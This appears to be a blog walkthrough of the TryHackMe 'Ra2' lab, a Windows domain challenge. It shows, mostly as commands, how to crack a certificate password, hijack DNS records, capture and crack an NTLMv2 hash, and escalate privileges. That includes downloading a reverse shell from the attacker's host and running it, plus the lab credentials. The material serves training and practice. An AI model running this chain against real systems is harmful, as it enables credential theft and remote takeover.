Skip to content
TryHackMe2 min read

THM - Ra2

Ra2 - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



THM - Ra2#

NMAP

bash
sudo nmap 10.10.176.236

image1

bash
sudo nmap 10.10.176.236 -A

image2

  • Add fire.windcorp.thm to /etc/hosts file

  • Run gobuster on fire.windcorp.thm:

bash
gobuster dir -u https://fire.windcorp.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k

image3

  • Found /powershell

image4

  • Got no credentials yet for it

  • Enumerating the https website - found:

image5

Add selfservice to /etc/hosts

  • Got a login box

image6

  • Inspecting the pictures we can see some usernames:

image7

image8

image9

image10

  • Openfire users:

image11

image12

bash
cat xmpp_info| cut -d ":" -f4 | cut -d '"' -f1 > xmpp_users

image13

  • Inspecting the certifcate - Found .dev

image14

Add .dev to /etc/hosts

image15

image16

  • Run dirb:
bash
dirb https://selfservice.dev.windcorp.thm

image17

Found /backup

image18

  • Download cert.pfx

image19

  • Tried enumerating it but needs a password:
bash
openssl pkcs12 -in cert.pfx -info -noout

image20

https://www.openssl.org/docs/man1.0.2/man1/pkcs12.html

(Apparently pfx2john can be used as well but it took so long I changed to crackpkcs12)

image21

bash
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ../cert.pfx

image22

  • Found password: ganteng

  • Test password:

bash
openssl pkcs12 -in cert.pfx -info -nodes

image23

image24

  • Found a certificate and private key (copy into a file - for now)

  • Use dig to query the DNS name with the DNS server(DC):

bash
dig windcorp.thm any @10.10.176.236

image25

  • We get a flag and a hint

image26

https://www.exploit-db.com/exploits/3544

This is what it looks like on Windows:

image27

  • Update records on the DNS server:

image28

image29

image30

image31

image32

  • The popup login page is on: selfservice.windcorp.thm
bash
nsupdate
bash
> server 10.10.88.197  #DNS server's IP
> update delete selfservice.windcorp.thm A
> update add selfservice.windcorp.thm 5000 A 10.8.24.66  #Kali tun0 IP
> send

image33

Test with dig:

bash
dig selfservice.windcorp.thm @10.10.88.197  #-- DNS server's IP

image34

  • Use Responder to capture the potential sign in:

  • Because this is a HTTPS server we need to use the cert and key we found earlier

  • Split the cert and key into two files - cert.pem and key.pem

  • Make sure the key.pem is chmod 600

  • Copy the two files to ==/usr/share/responder/certs==

image35

  • Edit Responder.conf

image36

  • Scroll to the bottom and edit the HTTPS Server settings, with the new cert and key files:

image37

  • Run Responder
bash
sudo responder -I tun0
  • And:

image38

  • Stored in Responder/logs directory

  • Copy the NTLMv2 hash to a file (ntlmhash)

  • Crack with hashcat:

bash
hashcat -m 5600 -a 0 ntlmhash /usr/share/wordlists/rockyou.txt

image39

Got credentials:

WINDCORP\edwardle : !Angelus25!

  • Tried RDP cus 3389 is open but we aren't allowed:
bash
xfreerdp /v:10.10.88.197 /u:edwardle /p:"\!Angelus25\!" /dynamic-resolution /cert:ignore

And evil-winrm:

bash
evil-winrm -i 10.10.88.197 -u edwardle -p "\!Angelus25\!"

image40

image41

image42

bash
whoami /all

image43

  • Using PrintSpoofer:
bash
(New-Object System.Net.WebClient).DownloadFile('http://10.8.24.66:8081/PrintSpoofer.exe', 'C:\Users\edwardle.WINDCORP\Desktop\PrintSpoofer.exe')

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.24.66 LPORT=4445 -f exe -o reverse.exe

(New-Object System.Net.WebClient).DownloadFile('http://10.8.24.66:8081/reverse.exe', 'C:\Users\edwardle.WINDCORP\Desktop\reverse.exe')

.\PrintSpoofer.exe -c ".\reverse.exe"

image44

Got shell:

image45

TryHackMe2 min

THM - Ra

Ra - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • hashcat
  • john the ripper
  • linux
  • nmap
  • powershell
TryHackMe3 min

THM - VulnNet

VulnNet - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • bloodhound
  • hashcat
  • impacket
  • linux
  • mimikatz
Hack The Box5 min

HTB - Office

Office - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • bloodhound
  • gobuster
  • hashcat
  • impacket
  • kerberos